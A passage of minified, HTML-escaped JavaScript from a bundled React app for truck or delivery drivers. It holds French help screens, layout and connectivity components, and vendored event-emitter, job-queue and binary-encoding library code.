text-muted-foreground&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;flex-1&quot;,children:&quot;L&#039;indicateur de connexion en haut de l&#039;écran vous montre l&#039;état de la connexion. Un badge orange indique le mode hors ligne. Les événements en attente de synchronisation sont marqués d&#039;un indicateur spécial.&quot;}),a.jsx(Ms,{text:&quot;L&#039;indicateur de connexion en haut de l&#039;écran vous montre l&#039;état de la connexion. Un badge orange indique le mode hors ligne. Les événements en attente de synchronisation sont marqués d&#039;un indicateur spécial.&quot;,title:&quot;Comment savoir si mes données sont synchronisées&quot;,size:&quot;sm&quot;})]})})]}),a.jsxs(Il,{value:&quot;faq3&quot;,children:[a.jsx(jl,{className:&quot;text-sm&quot;,children:&quot;Puis-je modifier une étape déjà validée ?&quot;}),a.jsx(Nl,{className:&quot;text-sm text-muted-foreground&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;flex-1&quot;,children:&quot;Non, les étapes validées ne peuvent pas être modifiées. Si vous avez fait une erreur, contactez le dispatch qui pourra corriger la situation.&quot;}),a.jsx(Ms,{text:&quot;Non, les étapes validées ne peuvent pas être modifiées. Si vous avez fait une erreur, contactez le dispatch qui pourra corriger la situation.&quot;,title:&quot;Puis-je modifier une étape déjà validée&quot;,size:&quot;sm&quot;})]})})]}),a.jsxs(Il,{value:&quot;faq4&quot;,children:[a.jsx(jl,{className:&quot;text-sm&quot;,children:&quot;Que faire en cas de panne ou d&#039;urgence ?&quot;}),a.jsx(Nl,{className:&quot;text-sm text-muted-foreground&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;flex items-start justify-between gap-2&quot;,children:[a.jsxs(&quot;ol&quot;,{className:&quot;list-decimal list-inside space-y-1 flex-1&quot;,children:[a.jsx(&quot;li&quot;,{children:&quot;Signalez l&#039;incident dans le journal avec photos/vidéos&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Appelez immédiatement le dispatch ou le mécanicien&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Ajoutez une note détaillée dans le journal&quot;}),a.jsx(&quot;li&quot;,{children:&quot;Restez en contact avec le dispatch pour les instructions&quot;})]}),a.jsx(Ms,{text:&quot;En cas de panne ou d&#039;urgence : signalez l&#039;incident dans le journal avec photos ou vidéos, appelez immédiatement le dispatch ou le mécanicien, ajoutez une note détaillée dans le journal, et restez en contact avec le dispatch pour les instructions.&quot;,title:&quot;Que faire en cas de panne ou d&#039;urgence&quot;,size:&quot;sm&quot;})]})})]})]})})]}),a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(jr,{className:&quot;flex items-center justify-between&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(uv,{className:&quot;h-5 w-5 text-primary&quot;}),&quot;Astuces importantes&quot;]}),a.jsx(Ms,{text:&quot;Voici quelques astuces importantes pour bien utiliser l&#039;application : validez les étapes dans l&#039;ordre pour suivre précisément votre progression, utilisez les photos pour les incidents car elles aident le dispatch et le mécanicien, et rappelez-vous que l&#039;application fonctionne offline.&quot;,title:&quot;Astuces importantes&quot;})]})}),a.jsxs(Et,{className:&quot;space-y-3&quot;,children:[a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3 p-3 rounded-lg bg-blue-50 dark:bg-blue-950 border border-blue-200 dark:border-blue-800&quot;,children:[a.jsx(Px,{className:&quot;h-5 w-5 text-blue-600 dark:text-blue-400 mt-0.5 flex-shrink-0&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;text-sm flex-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-blue-900 dark:text-blue-100&quot;,children:&quot;Validez les étapes dans l&#039;ordre&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-blue-700 dark:text-blue-300 mt-1&quot;,children:&quot;Cela permet de suivre précisément votre progression et d&#039;éviter les erreurs.&quot;})]}),a.jsx(Ms,{text:&quot;Validez les étapes dans l&#039;ordre. Cela permet de suivre précisément votre progression et d&#039;éviter les erreurs.&quot;,title:&quot;Validez les étapes dans l&#039;ordre&quot;,size:&quot;sm&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3 p-3 rounded-lg bg-green-50 dark:bg-green-950 border border-green-200 dark:border-green-800&quot;,children:[a.jsx(Px,{className:&quot;h-5 w-5 text-green-600 dark:text-green-400 mt-0.5 flex-shrink-0&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;text-sm flex-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-green-900 dark:text-green-100&quot;,children:&quot;Utilisez les photos pour les incidents&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-green-700 dark:text-green-300 mt-1&quot;,children:&quot;Les photos aident le dispatch et le mécanicien à mieux comprendre la situation.&quot;})]}),a.jsx(Ms,{text:&quot;Utilisez les photos pour les incidents. Les photos aident le dispatch et le mécanicien à mieux comprendre la situation.&quot;,title:&quot;Utilisez les photos pour les incidents&quot;,size:&quot;sm&quot;})]}),a.jsxs(&quot;div&quot;,{className:&quot;flex items-start gap-3 p-3 rounded-lg bg-orange-50 dark:bg-orange-950 border border-orange-200 dark:border-orange-800&quot;,children:[a.jsx(Px,{className:&quot;h-5 w-5 text-orange-600 dark:text-orange-400 mt-0.5 flex-shrink-0&quot;}),a.jsxs(&quot;div&quot;,{className:&quot;text-sm flex-1&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;font-semibold text-orange-900 dark:text-orange-100&quot;,children:&quot;L&#039;application fonctionne offline&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-orange-700 dark:text-orange-300 mt-1&quot;,children:&quot;Vous pouvez continuer à travailler même sans internet. Vos données seront synchronisées automatiquement.&quot;})]}),a.jsx(Ms,{text:&quot;L&#039;application fonctionne offline. Vous pouvez continuer à travailler même sans internet. Vos données seront synchronisées automatiquement.&quot;,title:&quot;L&#039;application fonctionne offline&quot;,size:&quot;sm&quot;})]})]})]}),a.jsxs(it,{children:[a.jsx(br,{children:a.jsxs(jr,{className:&quot;flex items-center gap-2&quot;,children:[a.jsx(uv,{className:&quot;h-5 w-5 text-primary&quot;}),&quot;Dépannage&quot;]})}),a.jsx(Et,{className:&quot;space-y-3&quot;,children:a.jsxs(&quot;div&quot;,{className:&quot;p-4 rounded-lg bg-muted border&quot;,children:[a.jsx(&quot;p&quot;,{className:&quot;text-sm font-semibold mb-2&quot;,children:&quot;Vider le cache de l&#039;application&quot;}),a.jsx(&quot;p&quot;,{className:&quot;text-xs text-muted-foreground mb-3&quot;,children:&quot;Si vous rencontrez des problèmes d&#039;affichage (par exemple, un voyage terminé qui s&#039;affiche encore), vous pouvez vider le cache. Cela supprimera toutes les données mises en cache et rechargera les données depuis le serveur.&quot;}),a.jsx(ge,{variant:&quot;outline&quot;,onClick:i,disabled:r,className:&quot;w-full&quot;,children:r?a.jsxs(a.Fragment,{children:[a.jsx(Nt,{className:&quot;h-4 w-4 mr-2 animate-spin&quot;}),&quot;Vidage en cours...&quot;]}):a.jsxs(a.Fragment,{children:[a.jsx(Ns,{className:&quot;h-4 w-4 mr-2&quot;}),&quot;Vider le cache&quot;]})})]})})]})]})}function zpe({children:e}){const[t,r]=I.useState(&quot;voyage&quot;);console.log(&quot;[DriverLayout] Composant monté/rendu, activeTab:&quot;,t,&quot;children:&quot;,!!e),I.useEffect(()=&gt;{console.log(&quot;[DriverLayout] useEffect nettoyage cache exécuté&quot;),Vx();const i=setTimeout(()=&gt;{Vx()},100),s=setInterval(Vx,3600*1e3);return()=&gt;{clearTimeout(i),clearInterval(s)}},[]),I.useEffect(()=&gt;{console.log(&quot;[DriverLayout] useEffect activeTab changé, activeTab:&quot;,t)},[t]);const n=()=&gt;{if(e)return e;switch(t){case&quot;voyage&quot;:return a.jsx(Q7,{});case&quot;journal&quot;:return a.jsx(ype,{});case&quot;aide&quot;:return a.jsx(Upe,{});default:return a.jsx(Q7,{})}};return I.useEffect(()=&gt;{console.log(&quot;[DriverLayout] Composant rendu, activeTab:&quot;,t)},[t]),a.jsxs(&quot;div&quot;,{className:&quot;min-h-screen bg-background flex flex-col&quot;,children:[a.jsx(Zde,{}),a.jsx(&quot;main&quot;,{className:&quot;flex-1 overflow-y-auto pb-16&quot;,children:n()}),a.jsx(Jde,{activeTab:t,onTabChange:r}),a.jsx(NL,{})]})}function $pe({queriesToInvalidate:e,className:t,label:r=&quot;Actualiser&quot;,variant:n=&quot;ghost&quot;,size:i=&quot;sm&quot;}){const s=eo(),{toast:o}=Er(),[l,c]=I.useState(!1),d=Nie(e&amp;&amp;e.length&gt;0?{predicate:p=&gt;e.some(A=&gt;{const y=A.join(&quot;/&quot;);return p.queryKey.join(&quot;/&quot;).startsWith(y)})}:void 0);I.useEffect(()=&gt;{l&amp;&amp;d===0&amp;&amp;(c(!1),o({title:&quot;Actualisation terminée&quot;,description:&quot;Les données ont été mises à jour avec succès&quot;}))},[l,d,o]);const u=async()=&gt;{c(!0);try{if(e&amp;&amp;e.length&gt;0){const p=e.map(A=&gt;s.invalidateQueries({queryKey:A}));await Promise.all(p)}else await s.invalidateQueries();await new Promise(p=&gt;setTimeout(p,100))}catch{c(!1),o({variant:&quot;destructive&quot;,title:&quot;Erreur&quot;,description:&quot;Impossible de rafraîchir les données&quot;})}},h=l||d&gt;0;return a.jsxs(ge,{type:&quot;button&quot;,onClick:u,variant:n,size:i,className:t??&quot;gap-2&quot;,disabled:h,children:[a.jsx(p4,{className:`h-4 w-4 ${h?&quot;animate-spin&quot;:&quot;&quot;}`}),a.jsx(&quot;span&quot;,{className:&quot;hidden sm:inline&quot;,children:h?&quot;Actualisation...&quot;:r})]})}function Hpe(){const[e,t]=I.useState(navigator.onLine),[r,n]=I.useState(!1),{toast:i}=Er(),s=eo();return I.useEffect(()=&gt;{const o=()=&gt;{t(!0),r&amp;&amp;(i({title:&quot;Connexion rétablie&quot;,description:&quot;Les données sont en cours de rafraîchissement...&quot;}),n(!1),s.invalidateQueries())},l=()=&gt;{t(!1),n(!0),i({variant:&quot;destructive&quot;,title:&quot;Connexion perdue&quot;,description:&quot;Vous êtes hors ligne. Les données seront rafraîchies à la reconnexion.&quot;})};return window.addEventListener(&quot;online&quot;,o),window.addEventListener(&quot;offline&quot;,l),()=&gt;{window.removeEventListener(&quot;online&quot;,o),window.removeEventListener(&quot;offline&quot;,l)}},[r,i,s]),e?null:a.jsxs(&quot;div&quot;,{className:&quot;flex items-center gap-1.5 px-2 py-1 rounded-md bg-destructive/10 text-destructive text-xs&quot;,children:[a.jsx(qd,{className:&quot;h-3.5 w-3.5&quot;}),a.jsx(&quot;span&quot;,{className:&quot;hidden sm:inline&quot;,children:&quot;Hors ligne&quot;})]})}const qpe=&quot;G&quot;,qm=&quot;SVG&quot;,Rn=&quot;VIEW&quot;,rr=&quot;TEXT&quot;,KS=&quot;LINK&quot;,H4=&quot;PAGE&quot;,YS=&quot;NOTE&quot;,cH=&quot;PATH&quot;,uH=&quot;RECT&quot;,dH=&quot;LINE&quot;,fH=&quot;FIELD_SET&quot;,Gpe=&quot;TEXT_INPUT&quot;,Vpe=&quot;SELECT&quot;,Wpe=&quot;CHECKBOX&quot;,Kpe=&quot;LIST&quot;,hH=&quot;DEFS&quot;,Gm=&quot;IMAGE&quot;,ZS=&quot;TSPAN&quot;,JS=&quot;CANVAS&quot;,mH=&quot;CIRCLE&quot;,pH=&quot;ELLIPSE&quot;,gH=&quot;POLYGON&quot;,XS=&quot;DOCUMENT&quot;,AH=&quot;POLYLINE&quot;,Qg=&quot;TEXT_INSTANCE&quot;,Ype=&quot;LINEAR_GRADIENT&quot;,Zpe=&quot;RADIAL_GRADIENT&quot;;var rb={exports:{}},nb={exports:{}},L7;function Jpe(){return L7||(L7=1,typeof Object.create==&quot;function&quot;?nb.exports=function(t,r){r&amp;&amp;(t.super_=r,t.prototype=Object.create(r.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}))}:nb.exports=function(t,r){if(r){t.super_=r;var n=function(){};n.prototype=r.prototype,t.prototype=new n,t.prototype.constructor=t}}),nb.exports}var ib={exports:{}},M7;function Xpe(){if(M7)return ib.exports;M7=1;var e=typeof Reflect==&quot;object&quot;?Reflect:null,t=e&amp;&amp;typeof e.apply==&quot;function&quot;?e.apply:function(C,Q,R){return Function.prototype.apply.call(C,Q,R)},r;e&amp;&amp;typeof e.ownKeys==&quot;function&quot;?r=e.ownKeys:Object.getOwnPropertySymbols?r=function(C){return Object.getOwnPropertyNames(C).concat(Object.getOwnPropertySymbols(C))}:r=function(C){return Object.getOwnPropertyNames(C)};function n(_){console&amp;&amp;console.warn&amp;&amp;console.warn(_)}var i=Number.isNaN||function(C){return C!==C};function s(){s.init.call(this)}ib.exports=s,ib.exports.once=j,s.EventEmitter=s,s.prototype._events=void 0,s.prototype._eventsCount=0,s.prototype._maxListeners=void 0;var o=10;function l(_){if(typeof _!=&quot;function&quot;)throw new TypeError(&#039;The &quot;listener&quot; argument must be of type Function. Received type &#039;+typeof _)}Object.defineProperty(s,&quot;defaultMaxListeners&quot;,{enumerable:!0,get:function(){return o},set:function(_){if(typeof _!=&quot;number&quot;||_&lt;0||i(_))throw new RangeError(&#039;The value of &quot;defaultMaxListeners&quot; is out of range. It must be a non-negative number. Received &#039;+_+&quot;.&quot;);o=_}}),s.init=function(){(this._events===void 0||this._events===Object.getPrototypeOf(this)._events)&amp;&amp;(this._events=Object.create(null),this._eventsCount=0),this._maxListeners=this._maxListeners||void 0},s.prototype.setMaxListeners=function(C){if(typeof C!=&quot;number&quot;||C&lt;0||i(C))throw new RangeError(&#039;The value of &quot;n&quot; is out of range. It must be a non-negative number. Received &#039;+C+&quot;.&quot;);return this._maxListeners=C,this};function c(_){return _._maxListeners===void 0?s.defaultMaxListeners:_._maxListeners}s.prototype.getMaxListeners=function(){return c(this)},s.prototype.emit=function(C){for(var Q=[],R=1;R&lt;arguments.length;R++)Q.push(arguments[R]);var T=C===&quot;error&quot;,M=this._events;if(M!==void 0)T=T&amp;&amp;M.error===void 0;else if(!T)return!1;if(T){var O;if(Q.length&gt;0&amp;&amp;(O=Q[0]),O instanceof Error)throw O;var $=new Error(&quot;Unhandled error.&quot;+(O?&quot; (&quot;+O.message+&quot;)&quot;:&quot;&quot;));throw $.context=O,$}var P=M[C];if(P===void 0)return!1;if(typeof P==&quot;function&quot;)t(P,this,Q);else for(var L=P.length,X=y(P,L),R=0;R&lt;L;++R)t(X[R],this,Q);return!0};function d(_,C,Q,R){var T,M,O;if(l(Q),M=_._events,M===void 0?(M=_._events=Object.create(null),_._eventsCount=0):(M.newListener!==void 0&amp;&amp;(_.emit(&quot;newListener&quot;,C,Q.listener?Q.listener:Q),M=_._events),O=M[C]),O===void 0)O=M[C]=Q,++_._eventsCount;else if(typeof O==&quot;function&quot;?O=M[C]=R?[Q,O]:[O,Q]:R?O.unshift(Q):O.push(Q),T=c(_),T&gt;0&amp;&amp;O.length&gt;T&amp;&amp;!O.warned){O.warned=!0;var $=new Error(&quot;Possible EventEmitter memory leak detected. &quot;+O.length+&quot; &quot;+String(C)+&quot; listeners added. Use emitter.setMaxListeners() to increase limit&quot;);$.name=&quot;MaxListenersExceededWarning&quot;,$.emitter=_,$.type=C,$.count=O.length,n($)}return _}s.prototype.addListener=function(C,Q){return d(this,C,Q,!1)},s.prototype.on=s.prototype.addListener,s.prototype.prependListener=function(C,Q){return d(this,C,Q,!0)};function u(){if(!this.fired)return this.target.removeListener(this.type,this.wrapFn),this.fired=!0,arguments.length===0?this.listener.call(this.target):this.listener.apply(this.target,arguments)}function h(_,C,Q){var R={fired:!1,wrapFn:void 0,target:_,type:C,listener:Q},T=u.bind(R);return T.listener=Q,R.wrapFn=T,T}s.prototype.once=function(C,Q){return l(Q),this.on(C,h(this,C,Q)),this},s.prototype.prependOnceListener=function(C,Q){return l(Q),this.prependListener(C,h(this,C,Q)),this},s.prototype.removeListener=function(C,Q){var R,T,M,O,$;if(l(Q),T=this._events,T===void 0)return this;if(R=T[C],R===void 0)return this;if(R===Q||R.listener===Q)--this._eventsCount===0?this._events=Object.create(null):(delete T[C],T.removeListener&amp;&amp;this.emit(&quot;removeListener&quot;,C,R.listener||Q));else if(typeof R!=&quot;function&quot;){for(M=-1,O=R.length-1;O&gt;=0;O--)if(R[O]===Q||R[O].listener===Q){$=R[O].listener,M=O;break}if(M&lt;0)return this;M===0?R.shift():v(R,M),R.length===1&amp;&amp;(T[C]=R[0]),T.removeListener!==void 0&amp;&amp;this.emit(&quot;removeListener&quot;,C,$||Q)}return this},s.prototype.off=s.prototype.removeListener,s.prototype.removeAllListeners=function(C){var Q,R,T;if(R=this._events,R===void 0)return this;if(R.removeListener===void 0)return arguments.length===0?(this._events=Object.create(null),this._eventsCount=0):R[C]!==void 0&amp;&amp;(--this._eventsCount===0?this._events=Object.create(null):delete R[C]),this;if(arguments.length===0){var M=Object.keys(R),O;for(T=0;T&lt;M.length;++T)O=M[T],O!==&quot;removeListener&quot;&amp;&amp;this.removeAllListeners(O);return this.removeAllListeners(&quot;removeListener&quot;),this._events=Object.create(null),this._eventsCount=0,this}if(Q=R[C],typeof Q==&quot;function&quot;)this.removeListener(C,Q);else if(Q!==void 0)for(T=Q.length-1;T&gt;=0;T--)this.removeListener(C,Q[T]);return this};function p(_,C,Q){var R=_._events;if(R===void 0)return[];var T=R[C];return T===void 0?[]:typeof T==&quot;function&quot;?Q?[T.listener||T]:[T]:Q?w(T):y(T,T.length)}s.prototype.listeners=function(C){return p(this,C,!0)},s.prototype.rawListeners=function(C){return p(this,C,!1)},s.listenerCount=function(_,C){return typeof _.listenerCount==&quot;function&quot;?_.listenerCount(C):A.call(_,C)},s.prototype.listenerCount=A;function A(_){var C=this._events;if(C!==void 0){var Q=C[_];if(typeof Q==&quot;function&quot;)return 1;if(Q!==void 0)return Q.length}return 0}s.prototype.eventNames=function(){return this._eventsCount&gt;0?r(this._events):[]};function y(_,C){for(var Q=new Array(C),R=0;R&lt;C;++R)Q[R]=_[R];return Q}function v(_,C){for(;C+1&lt;_.length;C++)_[C]=_[C+1];_.pop()}function w(_){for(var C=new Array(_.length),Q=0;Q&lt;C.length;++Q)C[Q]=_[Q].listener||_[Q];return C}function j(_,C){return new Promise(function(Q,R){function T(O){_.removeListener(C,M),R(O)}function M(){typeof _.removeListener==&quot;function&quot;&amp;&amp;_.removeListener(&quot;error&quot;,T),Q([].slice.call(arguments))}S(_,C,M,{once:!0}),C!==&quot;error&quot;&amp;&amp;E(_,T,{once:!0})})}function E(_,C,Q){typeof _.on==&quot;function&quot;&amp;&amp;S(_,&quot;error&quot;,C,Q)}function S(_,C,Q,R){if(typeof _.on==&quot;function&quot;)R.once?_.once(C,Q):_.on(C,Q);else if(typeof _.addEventListener==&quot;function&quot;)_.addEventListener(C,function T(M){R.once&amp;&amp;_.removeEventListener(C,T),Q(M)});else throw new TypeError(&#039;The &quot;emitter&quot; argument must be of type EventEmitter. Received type &#039;+typeof _)}return ib.exports}var U7;function ege(){if(U7)return rb.exports;U7=1;var e=Jpe(),t=Xpe().EventEmitter;rb.exports=r,rb.exports.default=r;function r(c){if(!(this instanceof r))return new r(c);t.call(this),c=c||{},this.concurrency=c.concurrency||1/0,this.timeout=c.timeout||0,this.autostart=c.autostart||!1,this.results=c.results||null,this.pending=0,this.session=0,this.running=!1,this.jobs=[],this.timers={}}e(r,t);var n=[&quot;pop&quot;,&quot;shift&quot;,&quot;indexOf&quot;,&quot;lastIndexOf&quot;];n.forEach(function(c){r.prototype[c]=function(){return Array.prototype[c].apply(this.jobs,arguments)}}),r.prototype.slice=function(c,d){return this.jobs=this.jobs.slice(c,d),this},r.prototype.reverse=function(){return this.jobs.reverse(),this};var i=[&quot;push&quot;,&quot;unshift&quot;,&quot;splice&quot;];i.forEach(function(c){r.prototype[c]=function(){var d=Array.prototype[c].apply(this.jobs,arguments);return this.autostart&amp;&amp;this.start(),d}}),Object.defineProperty(r.prototype,&quot;length&quot;,{get:function(){return this.pending+this.jobs.length}}),r.prototype.start=function(c){if(c&amp;&amp;o.call(this,c),this.running=!0,this.pending&gt;=this.concurrency)return;if(this.jobs.length===0){this.pending===0&amp;&amp;l.call(this);return}var d=this,u=this.jobs.shift(),h=!0,p=this.session,A=null,y=!1,v=null,w=u.hasOwnProperty(&quot;timeout&quot;)?u.timeout:this.timeout;function j(S,_){h&amp;&amp;d.session===p&amp;&amp;(h=!1,d.pending--,A!==null&amp;&amp;(delete d.timers[A],clearTimeout(A)),S?d.emit(&quot;error&quot;,S,u):y===!1&amp;&amp;(v!==null&amp;&amp;(d.results[v]=Array.prototype.slice.call(arguments,1)),d.emit(&quot;success&quot;,_,u)),d.session===p&amp;&amp;(d.pending===0&amp;&amp;d.jobs.length===0?l.call(d):d.running&amp;&amp;d.start()))}w&amp;&amp;(A=setTimeout(function(){y=!0,d.listeners(&quot;timeout&quot;).length&gt;0?d.emit(&quot;timeout&quot;,j,u):j()},w),this.timers[A]=A),this.results&amp;&amp;(v=this.results.length,this.results[v]=null),this.pending++,d.emit(&quot;start&quot;,u);var E=u(j);E&amp;&amp;E.then&amp;&amp;typeof E.then==&quot;function&quot;&amp;&amp;E.then(function(S){return j(null,S)}).catch(function(S){return j(S||!0)}),this.running&amp;&amp;this.jobs.length&gt;0&amp;&amp;this.start()},r.prototype.stop=function(){this.running=!1},r.prototype.end=function(c){s.call(this),this.jobs.length=0,this.pending=0,l.call(this,c)};function s(){for(var c in this.timers){var d=this.timers[c];delete this.timers[c],clearTimeout(d)}}function o(c){var d=this;this.on(&quot;error&quot;,u),this.on(&quot;end&quot;,h);function u(p){d.end(p)}function h(p){d.removeListener(&quot;error&quot;,u),d.removeListener(&quot;end&quot;,h),c(p,this.results)}}function l(c){this.session++,this.running=!1,this.emit(&quot;end&quot;,c)}return rb.exports}ege();const tge={utf16le:&quot;utf-16le&quot;,ucs2:&quot;utf-16le&quot;,utf16be:&quot;utf-16be&quot;};class ll{constructor(t){this.buffer=t,this.view=new DataView(t.buffer,t.byteOffset,t.byteLength),this.pos=0,this.length=this.buffer.length}readString(t,r=&quot;ascii&quot;){r=tge[r]||r;let n=this.readBuffer(t);try{return new TextDecoder(r).decode(n)}catch{return n}}readBuffer(t){return this.buffer.slice(this.pos,this.pos+=t)}readUInt24BE(){return(this.readUInt16BE()&lt;&lt;8)+this.readUInt8()}readUInt24LE(){return this.readUInt16LE()+(this.readUInt8()&lt;&lt;16)}readInt24BE(){return(this.readInt16BE()&lt;&lt;8)+this.readUInt8()}readInt24LE(){return this.readUInt16LE()+(this.readInt8()&lt;&lt;16)}}ll.TYPES={UInt8:1,UInt16:2,UInt24:3,UInt32:4,Int8:1,Int16:2,Int24:3,Int32:4,Float:4,Double:8};for(let e of Object.getOwnPropertyNames(DataView.prototype))if(e.slice(0,3)===&quot;get&quot;){let t=e.slice(3).replace(&quot;Ui&quot;,&quot;UI&quot;);t===&quot;Float32&quot;?t=&quot;Float&quot;:t===&quot;Float64&quot;&amp;&amp;(t=&quot;Double&quot;);let r=ll.TYPES[t];ll.prototype[&quot;read&quot;+t+(r===1?&quot;&quot;:&quot;BE&quot;)]=function(){const n=this.view[e](this.pos,!1);return this.pos+=r,n},r!==1&amp;&amp;(ll.prototype[&quot;read&quot;+t+&quot;LE&quot;]=function(){const n=this.view[e](this.pos,!0);return this.pos+=r,n})}const rge=new TextEncoder,z7=new Uint8Array(new Uint16Array([4660]).buffer)[0]==18;class Aw{constructor(t){this.buffer=t,this.view=new DataView(this.buffer.buffer,this.buffer.byteOffset,this.buffer.byteLength),this.pos=0}writeBuffer(t){this.buffer.set(t,this.pos),this.pos+=t.length}writeString(t,r=&quot;ascii&quot;){let n;switch(r){case&quot;utf16le&quot;:case&quot;utf16-le&quot;:case&quot;ucs2&quot;:n=$7(t,z7);break;case&quot;utf16be&quot;:case&quot;utf16-be&quot;:n=$7(t,!z7);break;case&quot;utf8&quot;:n=rge.encode(t);break;case&quot;ascii&quot;:n=nge(t);break;default:throw new Error(`Unsupported encoding: ${r}`)}this.writeBuffer(n)}writeUInt24BE(t){this.buffer[this.pos++]=t&gt;&gt;&gt;16&amp;255,this.buffer[this.pos++]=t&gt;&gt;&gt;8&amp;255,this.buffer[this.pos++]=t&amp;255}writeUInt24LE(t){this.buffer[this.pos++]=t&amp;255,this.buffer[this.pos++]=t&gt;&gt;&gt;8&amp;255,this.buffer[this.pos++]=t&gt;&gt;&gt;16&amp;255}writeInt24BE(t){t&gt;=0?this.writeUInt24BE(t):this.writeUInt24BE(t+16777215+1)}writeInt24LE(t){t&gt;=0?this.writeUInt24LE(t):this.writeUInt24LE(t+16777215+1)}fill(t,r){if(r&lt;this.buffer.length)this.buffer.fill(t,this.pos,this.pos+r),this.pos+=r;else{const n=new Uint8Array(r);n.fill(t),this.writeBuffer(n)}}}function $7(e,t){let r=new Uint16Array(e.length);for(let n=0;n&lt;e.length;n++){let i=e.charCodeAt(n);t&amp;&amp;(i=i&gt;&gt;8|(i&amp;255)&lt;&lt;8),r[n]=i}return new Uint8Array(r.buffer)}function nge(e){let t=new Uint8Array(e.length);for(let r=0;r&lt;e.length;r++)t[r]=e.charCodeAt(r);return t}for(let e of Object.getOwnPropertyNames(DataView.prototype))if(e.slice(0,3)===&quot;set&quot;){let t=e.slice(3).replace(&quot;Ui&quot;,&quot;UI&quot;);t===&quot;Float32&quot;?t=&quot;Float&quot;:t===&quot;Float64&quot;&amp;&amp;(t=&quot;Double&quot;);let r=ll.TYPES[t];Aw.prototype[&quot;write&quot;+t+(r===1?&quot;&quot;:&quot;BE&quot;)]=function(n){this.view[e](this.pos,n,!1),this.pos+=r},r!==1&amp;&amp;(Aw.prototype[&quot;write&quot;+t+&quot;LE&quot;]=function(n){this.view[e](this.pos,n,!0),this.pos+=r})}class oh{fromBuffer(t){let r=new ll(t);return this.decode(r)}toBuffer(t){let r=this.size(t),n=new Uint8Array(r),i=new Aw(n);return this.encode(i,t),n}}class Li extends oh{constructor(t,r=&quot;BE&quot;){super(),this.type=t,this.endian=r,this.fn=this.type,this.type[this.type.length-1]!==&quot;8&quot;&amp;&amp;(this.fn+=this.endian)}size(){return ll.TYPES[this.type]}decode(t){return t[`read${this.fn}`]()}encode(t,r){return t[`write${this.fn}`](r)}}const lr=new Li(&quot;UInt8&quot;),Do=new Li(&quot;UInt16&quot;,&quot;BE&quot;),Y=Do,ige=new Li(&quot;UInt16&quot;,&quot;LE&quot;),age=new Li(&quot;UInt24&quot;,&quot;BE&quot;),ym=age;new Li(&quot;UInt24&quot;,&quot;LE&quot;);const xH=new Li(&quot;UInt32&quot;,&quot;BE&quot;),et=xH,sge=new Li(&quot;UInt32&quot;,&quot;LE&quot;),co=new Li(&quot;Int8&quot;),oge=new Li(&quot;Int16&quot;,&quot;BE&quot;),Ht=oge;new Li(&quot;Int16&quot;,&quot;LE&quot;);new Li(&quot;Int24&quot;,&quot;BE&quot;);new Li(&quot;Int24&quot;,&quot;LE&quot;);const lge=new Li(&quot;Int32&quot;,&quot;BE&quot;),Gp=lge;new Li(&quot;Int32&quot;,&quot;LE&quot;);new Li(&quot;Float&quot;,&quot;BE&quot;);new Li(&quot;Float&quot;,&quot;LE&quot;);new Li(&quot;Double&quot;,&quot;BE&quot;);new Li(&quot;Double&quot;,&quot;LE&quot;);class Fg extends Li{constructor(t,r,n=t&gt;&gt;1){super(`Int${t}`,r),this._point=1&lt;&lt;n}decode(t){return super.decode(t)/this._point}encode(t,r){return super.encode(t,r*this._point|0)}}const cge=new Fg(16,&quot;BE&quot;),uge=cge;new Fg(16,&quot;LE&quot;);const dge=new Fg(32,&quot;BE&quot;),Is=dge;new Fg(32,&quot;LE&quot;);function Kd(e,t,r){let n;if(typeof e==&quot;number&quot;?n=e:typeof e==&quot;function&quot;?n=e.call(r,r):r&amp;&amp;typeof e==&quot;string&quot;?n=r[e]:t&amp;&amp;e instanceof Li&amp;&amp;(n=e.decode(t)),isNaN(n))throw new Error(&quot;Not a fixed size&quot;);return n}class eB{constructor(t={}){this.enumerable=!0,this.configurable=!0;for(let r in t){const n=t[r];this[r]=n}}}class Ye extends oh{constructor(t,r,n=&quot;count&quot;){super(),this.type=t,this.length=r,this.lengthType=n}decode(t,r){let n;const{pos:i}=t,s=[];let o=r;if(this.length!=null&amp;&amp;(n=Kd(this.length,t,r)),this.length instanceof Li&amp;&amp;(Object.defineProperties(s,{parent:{value:r},_startOffset:{value:i},_currentOffset:{value:0,writable:!0},_length:{value:n}}),o=s),n==null||this.lengthType===&quot;bytes&quot;){const l=n!=null?t.pos+n:r?._length?r._startOffset+r._length:t.length;for(;t.pos&lt;l;)s.push(this.type.decode(t,o))}else for(let l=0,c=n;l&lt;c;l++)s.push(this.type.decode(t,o));return s}size(t,r,n=!0){if(!t)return this.type.size(null,r)*Kd(this.length,null,r);let i=0;this.length instanceof Li&amp;&amp;(i+=this.length.size(),r={parent:r,pointerSize:0});for(let s of t)i+=this.type.size(s,r);return r&amp;&amp;n&amp;&amp;this.length instanceof Li&amp;&amp;(i+=r.pointerSize),i}encode(t,r,n){let i=n;this.length instanceof Li&amp;&amp;(i={pointers:[],startOffset:t.pos,parent:n},i.pointerOffset=t.pos+this.size(r,i,!1),this.length.encode(t,r.length));for(let s of r)this.type.encode(t,s,i);if(this.length instanceof Li){let s=0;for(;s&lt;i.pointers.length;){const o=i.pointers[s++];o.type.encode(t,o.val,o.parent)}}}}class Yi extends Ye{decode(t,r){const{pos:n}=t,i=Kd(this.length,t,r);this.length instanceof 